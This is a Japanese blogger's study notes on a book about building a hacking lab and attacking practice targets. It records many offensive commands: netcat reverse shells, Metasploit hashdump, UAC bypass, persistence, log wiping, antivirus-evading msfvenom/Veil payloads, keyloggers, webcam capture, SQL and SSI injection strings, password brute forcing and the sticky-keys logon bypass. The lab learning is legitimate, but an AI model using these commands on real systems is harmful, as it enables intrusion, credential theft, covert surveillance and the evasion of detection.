【勉強メモ】「ハッキング・ラボのつくりかた」
発売当初に気になってパラパラと立ち読みしたところ、だいたい知ってる内容だな(厚いし高いし)と買わなかったが、その半年後くらいにKindleセールで半額になっていたので購入(固定レイアウトではなくリフローなのが素晴らしい)。しかし、さらに半年くらい寝かせていた。
ネット上でセキュリティ勉強してる人がまずはこの本を制覇してるのを見て、自分もやらなにゃならんと発売11か月後にして読んでみたところ、思った通り知っていることは多かったが、知らないことも4割くらい含まれていた。そして「手を動かして体験する」のは得るものが多い。
ただ、手順は丁寧に載せてくれているが、説明はそれなりに知識がある人向けだと思う。IPAの応用情報技術者とかくらいは最低持ってないと厳しい気がする。そこまで説明しだしたらページが2~3倍になってしまうから仕方ないけど。とりあえず自分には読みやすかった。
【勉強メモ】
本書の中で、知らなかったところ、勉強になったところのメモ。既に自分が十分に知っていると感じたところは省略しているので、網羅はされていません。あしからず。
第1部 ハッキング・ラボ の 構築(第1章~第3章)
~ラボ環境構築のためのネットワーク、仮想環境、OS(Kali Linuxとか)についての説明・設定。ちなみに本ではVirtualBoxだけど、自分はVMware ESXi環境で実施。この辺は飛ばしちゃったけど、初の人は環境構築が一番大変なところだと思うので、そこに全体の4分の1を費やしているのは結構手厚いなと思う。Gitの説明があったけど、結局本書内では使うことなかった。
第2部 ハッキングを体験する
第4章 Windowsのハッキング
■ Windowsのライセンス管理コマンド(スクリプト)
C:\ > slmgr /dlv |
現在のライセンス情報確認 |
C:\ > slmgr /rearm |
ライセンスの猶予期間のリセット(5回まで) |
■ Netcat
> nc.exe -lvp 5555 -e cmd.exe |
"-e" オプションで、受信データ(テキスト)を渡すプログラムを指定。この場合はcmd.exeに渡している |
neccatを使ったリバースシェル [ターゲット側] > nc.exe (攻撃側IP) 5555 -e cmd.exe |
Win7をターゲットとして、ターゲット側から攻撃側へアクセスし、ターゲットは攻撃側から受け取ったコマンドを-eオプションでcmd.exeに渡す。これでリバースシェルが成立する。 |
■ Metasploit
msf > show exploits |
showコマンドで"exploits"や"encoders"などを指定可能。そのリストを表示。 exploit一覧ではランクが3列目に表示される。excellentが最も好ましい。 |
searchで目的のモジュールのパスが検索可能 |
|
msf > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > exploit (又はrun) msf exploit(multi/handler) > sessions -l msf exploit(multi/handler) > sessions -i 1 |
ペイロードからリバース接続を待ち受けるため、Metasploitで待ち受ける。左記コマンドの他、LHSOT、LPORT,Exitfunc等の設定が(必要なら)可能。設定後は"exploit"又は"run"で実行。ペイロードから接続が来たら、"sessions -l"コマンドで接続を一覧表示し、"sessions -i 番号"で接続。以後はmeterpreter経由でターゲット(ここではWin7)の遠隔操作。 |
■ UACバイパス → Windowsのパスワード解析 → 情報収取 → 永続化 → ログ削除
Windowsのパスワード解析の手法としては
- パスワードハッシュを入手し、パスワード解析(最も基本的アプローチ)。SAM(ローカル)かntds.dit(AD)
- lsass.exe(アカウント管理。Local Security Authority process)のメモリ上から平のパスワードを入手
- パスワードハッシュを入手し、ネットワークログオン(SMB教諭経由での認証) = Pass the Hash
meterpreter > getuid |
ユーザID(ユーザ名)の取得 |
meterpreter > run hashdump |
パスワードハッシュの奪取(権限足りないと失敗) |
meterpreter > getsystem |
SYSTEM権限への昇格。しかし権限がなければ失敗する。 |
meterpreter > background |
meterpreterをバックグラウンドに回し、msfプロンプトへ戻る |
meterpreter > shell |
meterpreterからシステムシェル(cmd.exe)への切替 |
msf > use exploit/windows/local/bypassuac |
UAC機能をバイパスするためのモジュール。 |
# john --wordlist=password.lst --format:nt hash.txt |
John the Ripperでパスワード解析 |
meterpreter > run scraper |
システム情報の収集(レジストリ、パスワードハッシュ等) |
> wmic startup |
WMI経由で自動起動の内容を列挙 |
meterpreter > run persistence \ -X -i (リトライ間隔秒) -P (ペイロード) \ -p (ポート) -r (接続先IP) |
永続化。-X はシステム起動時に接続用エージェントを起動(レジストリのautorun に登録) |
meterpreter > clearev |
Windowイベントログ(application, security, system)を削除。ただし「ログを消した」というSecurityログは1件残る |
C:\ > del %WINDIR%\*.log /a /s /q /f |
cmd.exe上でシステムフォルダ下の拡張子logファイルを全削除。 |
meterpreter > migrate PID |
meterpreterを指定したプロセスIDのプロセスに統合(migrate)して隠す。migrate先のプロセスは自身の権限以下(本書では explorer.exe )。ただし、migrateされたセッションをUAC回避(exploit/windows/local/bypassuac)で指定するすると応答が返ってこずに失敗する。先にUAC回避してgetsystemでSYSTEM権限を奪った後にmigrateすればOK。 |
msf > use \ exploit/windows/local/ask |
UAC画面を表示させモニター前の使用者に実行を許可させる。使用者がYESを押せばgetsystemで昇格可。Win10には効かない。 |
C:\> net user C:\> net user Administrator C:\> net user test /add C:\> net user test 1234 C:\> net localgroup administrators \ test /add C:\> net user test /delete |
上から順に、ユーザー列挙、Administratorの詳細表示、testユーザの追加、testユーザのパスワードを1234に変更、testユーザを管理者グループに属させて官舎権限を与える、ユーザの削除。SYSTEM権限が前提。 |
■ アプリのアンインストール
msf > use post/windows/gather/ \ enum_applications |
アプリ列挙モジュール |
C:\ > wmic product get name, installLocation |
インストール済みアプリの列挙(installLocationでパスも表示)。表示されないものもある。 |
C:\ > wmic product where \ name="<アプリ名>" call uninstall /nointeractive |
アプリのアンインストール。サイレントモードで処理。 |
■ 仮想マシンか否か調べる
msf > use post/windows/gather/\
checkvm |
ターゲットが仮想マシンか否かを判定するモジュール |
C:\ > systeminfo |
systeminfoコマンドの結果から、System Manufacture や System Model から仮想マシンと判明することがある。 |
■ スティッキービット(Sticky bit)
Linuxにおいてディレクトリの書込み権限を持っている場合、ディレクトリ内にあるファイルは、所有者でない、読取・書込権限のないファイルでも削除できてしまう。ディレクトリにスティッキービットを設定すると、所有者以外はファイル・サブディレクトリを削除できなくなる。デフォルトでは /tmp にスティッキービットが設定されている。
# chmod +t ディレクトリ
■ Windows10 ハッキング
meterpreter > screenshot |
字のごとく、スクリーンショット。 |
#apt install cheese |
cheeseはGNOME用Webカメラアプリ。webcam_listでターゲットのwebカメラ一覧を取得し、webcam_streamで映像を取得。webcam_snapで撮影し画像を保存 |
meterpreter > upload laZange_x64.exe |
LaZagneは対Windowsパスワード収集ツール。meterpreter経由で送り込み、Win10上で動かす。 |
msf > use post/windows/gather/forensics/\ browwer_history |
ブラウザ履歴取得モジュール。 |
# apt install veil-evasion Veil >: update Veil >: use 1 (※Evasion) Veil/Evasion>: use 22 (※powershell/meterpreter/rev_tcp.py) set LHOST 10.0.0.2 generate |
Veil Frameworkはアンチウイルス回避ペイロードを作成するツール群。meterpreterペイロードの他、種々のペイロードも作れる(はず)。リバースシェルの接続は、msfconsole → exploit/multi/handler で待ち受けれられる。ペイロード設定は windows/meterpreter/reverse_tcp |
# shellter |
Shellterでペイロードと別ファイルを統合(bind)する。統合されたファイルを開くたびに、ペイロードも一緒に起動される。Shellterはbinderの一つで、ペイロードとしてmeterpreter、shell等を持っている。ただし、本書ではセッション確立時にWindows Defendeがmeterpreterを検知する。 |
# msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 -f exe -e x86/shikata_ga_nai -i 3 -b '\x00\xff' |
shika_ga_naiエンコーダで暗号化(難読化?)したペイロード。\00と\ffのバイト列が入るのを避けている。本書ではこのペイロードと画像ファイルをWinRARを使ってbindし、Windows Defenderに検知されずにセッションを確立している。shikata_ga_naiだから仕方がない。 |
git clone で MacroShop を取得 # cd MacroShop/ |
MacroShopはMS Officeのマクロにペイロードをbindするツール(python)。Veilで作成したPowershellペイロード(バッチファイル型)からマクロスクリプトを生成できる(Officeファイルそのものを作ってくれるわけではない)。 |
meterpreter > keyscan_start meterpreter > keyscan_stop |
meterpreterの簡易キーロガー |
msf > use \ post/windows/capture/\ |
キーロガーモジュール。確立済みのセッションがあることが前提。キーログファイルはホームディレクトリ下の .msf4/loot/内に保存される。 |
第5章 Metasploitableのハッキング
基本的な流れは以下のとおり。
-
ポートスキャンでサービスとバージョンを調査
-
バージョンから脆弱性やPoCを調査(Exploit-DB、CVE等)
-
攻撃する
ただ、単一サービスのみに攻撃するより、様々なところから情報を集めて(ユーザ名とかデータベース名とか…)活用するのが吉。
# hydra -L user.lst -P pass.lst \ |
hydraによるアカウントの辞書式攻撃。-t は並列処理のタスク数(スレッド数?)。SSHのバージョンによっては対応していない場合あり。 |
# patator ssh_login host=10.0.0.5 \ user=FILE0 password FILE1 \ 0=user.lst 1=pass.lst \ ( -x ignore:mesg='Authentication failed') |
patatorもパスワードクラッカー。解析する認証ごとにモジュールが用意されている。ここでは ssh_login モジュールを使用。 |
# cat /etc/shadow | grep -E "^root|^msfadmin"\ > passwords |
/etc/shadowの中から暗号化されたパスワードを含む行を抽出し、"John the Ripper"でブルートフォース。スペースキーで途中経過を確認、Ctl+Cで中断、"John --restore"でレジューム(再開)。 |
# hydra -L user.lst -P pass.lst -s 8180 \ 10.0.0.5 http-post-form \ "/admin/j_security_check:\ j_username=^USER^&j_password=^ |
HydraによるHTTPフォームへのパスワード解析。 |
# msfconsole msf > grep exploit search tomcat (以下略) |
hydra で 判明したtomcatのユーザ名/パスワードがあれば、Metasploitの "exploit/multi/http/tomcat_mgr_upload" を用いてシェルを奪取可能。 どうでもいいが、grepとsearchの使い方が独特だな… |
# smbclient -L //10.0.0.5 # msfconsle msf > use auxiliary/admin/smb/\ samba_symlink_traversal
|
-Lオプションで共有名を列挙できるらしいが、「protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED」とエラーが出る。RAPID7の手法と同じ |
# hexchat ⇒ GUI上でMetasploitable2を登録して接続 ⇒「次に何をするか?」で「Nothing, I'll join channel latar.」 ⇒ 接続ログの中で「Version Unreal3.2.8.1」とバージョン判明 ⇒ ExploitDBやsearchsploitで検索すると「Backdoor Command Execution」がMetasploitにあることが判明 msf > use exploit/unix/irc/unreal_ircd_3281_backdoor msf > use post/multi/manage/shell_to_meterpreter |
6667,6669/tcpのUnrealIRCdへ、IRC(Internet Relay Chat)クライアントであるhexchatでアクセスしバージョン調査。 でシェルを取得。さらに post/multi/manage/shell_to_meterpreter でシェルをmeterpreterに切替。 |
[TerminalA]# nc -l -v -p 4444 AB; nc 10.0.0.2 4444 -e /bin/bash |
上記の脆弱性は「AB;」以降のコマンドが metasploitable内で実行されるというもの。
|
第6章の内容はだいたい知っていた&無線LAN環境が用意できなかったので跳ばした。
第7章 学習用アプリによるWebアプリのハッキング(DVWA、bWAPP bee-box)
1' OR 'a'='a ' union select version(),null # ' union select @@hostname,database() # ' union select user(),'A' # ' union select table_name,null from information_schema.tables # ' union select table_name,tale_schema from information_schema.tables where table_schema='dvwa' # |
SQLインジェクションのコード例。unioin を使うことで自身の知りたい情報を追加で表示させられる。ただし、unionは表を縦に繋げるイメージなので、先の結果と列数を合わせる必要がある。例ではおそらくユーザ名とパスワードの2項目が対象となっているので、unionで表示させる内容も2項目にしている。information_schemaはMySQLサーバが持つ全データベースの情報(メタデータ)のデータベース。 |
# findmyhash MD5 -h (ハッシュ値) |
Web上のハッシュ解析サービスを自動的に巡回して、パスワードハッシュを調査するツール。 |
# sqlmap -u "URL" --cookie="Cookie値" |
ブラインドSQLインジェクション。BurpでHTTP要求に含まれるCookieを事前に入手し、それをsqlmapに設定して実行すると、SQLに関する脆弱性を探索してくれる。--dbsオプションでDB名列挙、--tablesオプションでテーブル名列挙、--columnオプションでカラム列挙、--dumpオプションで指定したカラムを抽出できる。パスワードハッシュがある場合は、パスワード解析もしてくれる。 |
以下は、bee-boxで演習可能
■ PHP Code Injection
フォームやURL中の文字列をPHPコードの一部として取り込んでいる部分に、意図的にPHP関数を埋め込んで情報を取る。
system関数を使って「system('cat /etc/passwd');」を埋め込む等。
■ Server Side Include(SSI) Injection
SSIはサーバ側で動的にHTMLを生成する仕組み(Javascriptはクライアントサイド)。HTML内に <!--#exec cmd="/bin/ls" -->
のように <!-- --> で囲われたコメントを挿入すると、サーバがコメントの場所にコマンドの実行結果を置き換えてくれる。
SSIが有効になっているWebサーバに対して、CGIの入力フォーム等から<!-- #〇〇 -->の記述を送り込んで、求める情報を表示させる。
■ Remote & Local File Inclusion(RFI/LFI)
Webアプリの入力検証の不備を突いて不正ファイルを読み込ませる攻撃。LFIはターゲットサーバ上のファイルを用い、RFIは攻撃者側で 用意した遠隔に位置するファイルを用いる。本書では実行にmetasploitを使用。
■ Shellshock
「CVE-2014-6271」および「CVE-2014-7169」。bashに環境変数経由で特定パターンを送ることで任意のコマンドを実行できてしまう。 HTTPサーバはbashシェル内のCGIプログラムに、HTTPヘッダーを環境変数として渡すので影響大。
第8章 ログオン認証のハッキング
■ Sticky Keys機能(の呼び出し)を悪用したログオン画面の突破
Sticky Keys機能は、補助キーの同時押しが難しい人向けの補助機能で、有効にすると同時押しではなく順次押しできるようにる。 WindowsでShiftキーを5回連続押下すると「固定キー機能を有効にしますか?」と聞いてくるアレ。WindowsはShiftキー5回で、 「C:\Windows\System32\sethc.exe」 を呼び出すように設定されているので、sethc.exeを同名の別プログラムに置き換えれば、 shiftキー5回で任意のプログラムを呼び出せる。本書では、Windows10のブートメディアから「cmd.exe」をリネームして置き換え、 ログオン画面でshiftキー5回押しでコマンドプロンプトを起動させる。ブートメディアの「cmd.exe」にはSYSTEM権限付与されてる。 net userコマンドでパスワード上書き、net localgroup で対象ユーザに管理者権限付与が可能。 Sticky keys機能の悪用というよりは、「Sticky Keys機能の呼び出し」の悪用という方が正しいか?
■ Image File Exsecutino Option機能の悪用
もともとはアプリやサービスのデバッグ時に使用するための機能。あるプログラムの実行時に他のプログラムを実行することができる。
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
配下にターゲットプログラム名(例: sethc.exe)でキーを作成
⇒ 任意の登録名で置き換えたいプログラム(例:cmd.exe)を登録
⇒ Shiftキー5回でsethc.exeが呼び出されるときに、cmd.exeも起動する。
第3部 ハッキング・ラボの拡張
第9章 物理 デバイスの追加
ラズパイ用のKaliがあるとは知らなかった。入れてみようとしたけど、のRPi 1にはさすがに入らなかった…。viの設定が細かく載ってたのはありがたい。
(vi起動中):set nocompatible ($HOME/.vimrc)set nocompatible |
viの互換モード解除。これにより、方向キーでのカーソル移動、モード表示が有効になる。 |
($HOME/.vimrc) noremap! <C-?><C-h> set backspace=indent,eol,start |
noremap! ⇒ コマンドラインモードと挿入モードでのキーバインド |
10、11章はだいたい知っている内容だったので割愛。
巻末のコマンドリファレンスにあるコマンドを全部把握できるようになりたい。とりあえず気になったコマンドをメモ。
■ Linux
# df -ah |
全ディスクスペース表示。-h:読みやすくする。-a:サイズ0でも表示 |
# cat /proc/cpuinfo |
CPUの仕様を表示 |
# cat /proc/meminfo # free -h |
現在のメモリーの使用状況を表示 |
# modinfo <カーネルモジュール名> |
指定したモジュールの情報を表示 |
# objdump -d <ファイル名> # objdump -d -M intel -S <ファイル名> |
実行ファイルを逆アセンブルする。-M intel でIntel記法。-S:デバッグ情報が含まれていればソースも混在させる |
# nm -o /usr/lib/* | grep <関数名> |
指定した関数を含んだライブラリを探す。 |
# blkid /dev/sda1 |
/dev/sda1の情報を表示する |
# xxd -p -r hexdump.txt > test.bin |
16進ダンプファイルをバイナリに変換する。 |
# enum4linux -v xxx.xxx.xxx.xxx |
ターゲットの詳細情報表示 |
# binwalk -Me <ファイル名> |
fileコマンドで特的出来ないもの、細工されたファイルの解析 |
# fls <イメージファイル名> |
ファイルシステムを解析する。 |
# icat <イメージファイル名> <iノード> output |
イメージファイルからファイルを抽出する。 |
base64による文字列のエンコードとデコード。 |
|
# echo "こんにちは" | nkf -WwMQ | tr = % |
文字列をURLエンコード |
# echo "%E 3% 81% 93% E 3% 82% 93% E 3% 81% AB% E 3% 81% A 1% E 3% 81% AF" | nkf -w --url-input |
■ Windows(cmd.exe)
> msinfo32 | システム情報画面(GUI)を表示する。 |
> driverquery /v > driverquery /si |
/v :インストール済みドライバーの一覧表示。 /si :ドライバーがデジタル署名済みかどうか確認 |
> wmic qfe list /format:htable > list.html |
インストール済み更新プログラムの一覧をHTMLファイルに出力。 |
> wmic ntevent where "(logfile='system' and timegenerated >= '20180620'" list /format:CSV > system_event.csv |
|
> reg export <キー名> <ファイル名> |
|
> netsh advfirewall show currentprofile |
ファイアウォールの状態確認(win10 では"netsh firewall"でなく"netsh advfirewall firewall"を使うように言われる) |
> netsh firewall show portopening |
ポート構成を表示する |
> certutil -hashfile <ファイル名> MD5 |
|
> at \\xxx.xxx.xxx.xxx 12:00A /every:1 "nc -d -L -p8080 -e cmd.exe" (参考) |
毎日夜12時にNetcatの簡易バックドアを起動する。 |
> psexec \\target ipfonfig |
SMB経由でターゲット端末でipconfigを実行する |
■ Windows(Powershell)
PS> Get-Ciminstance Win32_OperatingSystem | select-object -property * |
システム情報の詳細を表示する。出力が高速。 |
PS> Get-Process |
プロセス情報表示 |
PS> Get-Service -Requiredservices -DependentService |
サービスを表示 |
PS> Get-FileHash -algorithm md5 <ファイル名> |
|
PS> Write-Output "Hello World" |
標準出力へ文字列出力 |
Metasploitable2の残りや3も制覇しておきたい。
周囲で進んでいる人に言わせると「簡単すぎる」らしいだけど・・・やってみてから判断しよう。